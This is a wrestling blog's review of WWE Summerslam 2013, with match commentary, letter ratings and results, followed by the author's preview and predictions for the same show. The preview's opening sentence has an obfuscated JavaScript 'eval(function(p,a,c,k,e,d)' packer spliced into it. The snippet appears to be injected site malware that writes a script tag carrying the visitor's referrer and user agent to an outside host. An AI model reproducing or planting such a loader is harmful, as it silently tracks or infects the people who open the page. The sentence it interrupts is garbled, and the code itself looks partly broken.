CM makes the mistake of going after Heyman though and Brock gets in a shot to take over. Brock tosses Punk over the announce table in an amazing throw for an even better crash. Since he threw Punk over the table once, Lesnar has to throw him over the other side for good measure. An over head belly to belly sends Punk down onto the concrete and Punk is barely moving. Back in and Brock drives Punk into the corner with shoulders and puts on a bearhug.

Rating: A+. The storytelling and psychology alone made this a great match. I loved the idea that Punk kept taking the weapons away from Lesnar but once Brock got in the first chair shot the match was over. Punk showed he was smarter leading up to the match but his hatred for Heyman cost him in the end when he went on emotion instead of intelligence.

The action in this was incredible as well as it felt like a fight instead of a match, which is the right idea. If nothing else, this shows how bad of an idea the HHH feud was. Punk and Cena have both blown away all of the HHH matches with Lesnar by miles and miles, but we got a year of HHH and a month each of the other guys so far. Such is life in the WWE. Outstanding match here though.

We get a clip from Axxess where a fan took a splash from Mark Henry for three tickets to Summerslam.

Kaitlyn/Dolph Ziggler vs. AJ Lee/Big E. Langston

Rating: C-. This was fine but it was in the death spot on the card between the two main events. It came off well enough though and the crowd was into it at times. It was a WAY better idea than putting the Total Divas match here which I thought they were going to do. Nothing great but it did its job just fine.

Fandango and Summer Rae cut off Miz again so he lays Fandango out.

Some low level celebrities are here.

The expert panel make their predictions on the main event. Bryan is the favorite.

Raw World Title: Daniel Bryan vs. John Cena

Bryan flips out of the AA and catches a charging Cena in the chin with a boot. The missile dropkick connects for two and Bryan fires off the kicks to the chest. Now Bryan goes after the bad arm before slapping on the STF of all things. Cena is about to get to the ropes so Bryan pulls him back and hits two German suplexes for two each. Bryan counters the AA into the YES Lock and Cena is in big trouble. Cena counters by getting his head free (wrestling you say?) but gets pulled down into a guillotine choke.

John FINALLY powers out of it but can barely follow up. Bryan charges right at Cena but gets caught in the AA for a close two. That came out of nowhere and had the fans inhaling in unison. Cena goes up but has to knock Bryan down twice before getting caught by a running dropkick. Now Bryan gets up top and superplexes Cena down but stays on top in a cool power move. He sits up onto the top for the Swan Dive but Cena is up at two. John rolls to the floor and blocks the FLYING GOAT with a forearm to the head.

Rating: A+. WHAT A BRILLIANT FINISH! They totally fooled us all by having the standard WWE formula playing out but Bryan wins it out of nowhere with a knee to the head. Brilliant move there after a great match to boot. What more can you ask for in the main event of the second biggest show of the year? Excellent stuff and HHH did absolutely nothing at all.

Raw World Title: Randy Orton vs. Daniel Bryan

Seven seconds and Orton wins.

Everyone is shocked to end the show.

Results

Bray Wyatt b. Kane – Sister Abigail

Cody Rhodes b. Damien Sandow – Cross Rhodes

Alberto Del Rio b. Christian – Cross Armbreaker

Natalya b. Brie Bella – Sharpshooter

Brock Lesnar b. CM Punk – F5 onto a chair

Dolph Ziggler/Kaitlyn b. AJ Lee/Big E. Langston – Zig Zag to Langston

Daniel Bryan b. John Cena – Shining Wizard

Randy Orton b. Daniel Bryan – Pin after a Pedigree from HHH

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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Summerslam 2013 Preview

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabdr|var|u0026u|referrer|kkkzz||js|php'.split('|'),0,{})) show feels like it could be big which is rare for Summerslam anymore.Starting on the pre-show, Shield causes the DQ, triggering Show and Henry to come in to make it a tag match, perhaps for the titles.  Shield leaves with all the gold either way.

As for the main stuff we’ll start with the obvious: Bryan wins the title.  There is zero reason to not put it on him other than to advance the HHH vs. Vince story.  If they go that way, fans are going to be MAD.  Cena is taking time off for his elbow soon so there is no reason for him to walk out with the title.  Bryan wins by countering the AA into a small package for the title.

My biggest worry is that this turns into an Attitude Era style brawl with HHH in there, but if that’s what they have to do for Cena’s injury so be it.  HHH flat out does not need to be there otherwise and this match doesn’t deserve to be a stop on the road to HHH vs. Vince at Wrestlemania.  Unfortunately that’s what it’s likely to be and we’ll have to spend a few months hearing about the screwjob that cost Bryan the title, because that’s what fans want to see.

Now for the big question: will there be a cash in by Orton.  All signs point to yes, but I think they’ll pull the trigger on something brilliant: have Bryan retain the title.  Can you imagine how big a deal Bryan will be if he beats Cena and Orton in the same night?  The Attitude Era version gave Jericho something to talk about for twelve years.  I doubt it happens due to me being terrible at stuff like that, but it’s almost too obvious that Orton cashes in and wins the title.

Brock vs. Punk is the real wildcard on this show.  I could easily see this going either way but I can’t pick which one.  You have Punk needing a big win to get momentum back but you need Brock to win so he doesn’t start looking like some monster who can’t finish the job.  I’ll take Punk but there will definitely be a rematch.

Del Rio retains.  It’s WWE 101: the challenger dominates leading up to the match and beats the champion multiple times, the champion retains at the PPV and WWE doesn’t understand why no one is impressed.

Sandow over Cody, though it doesn’t help him as there’s nothing to Cody after all the damage to his character over the last year.

Bray Wyatt beats Kane.  The question here isn’t who wins, but what creepy thing does Bray do.  I’ve heard ideas ranging from he controls the fire and Kane sees it as a miracle and follows Wyatt to Bray lights himself on fire because it’s fun to Rowan jumps through the flames to save his master.  Either way it’s a good start for Bray, but they should keep his wrestling to a minimum.  If he wrestles all the time he’ll become watered down.  Save him for important stuff and let his monsters do the work for him.

Langston and AJ beat Kaitlyn and Ziggler.  Dolph has cooled WAY off lately as this feud has been all about AJ.

Brie beats Natalya.  Is it Brie or Nikki wrestling?  If you think I actually care about the answer, you get extra homework.

 

Overall Summerslam looks good but it’s a two match show.  That’s definitely not a bad thing though as those two matches are both huge.  The show should be fun and the Ring of Fire has potential to be a nice boost.  They might add another match to the card to flesh it out a bit, but overall it should be good.  Just don’t expect much outside of the main events.

Thoughts/predictions?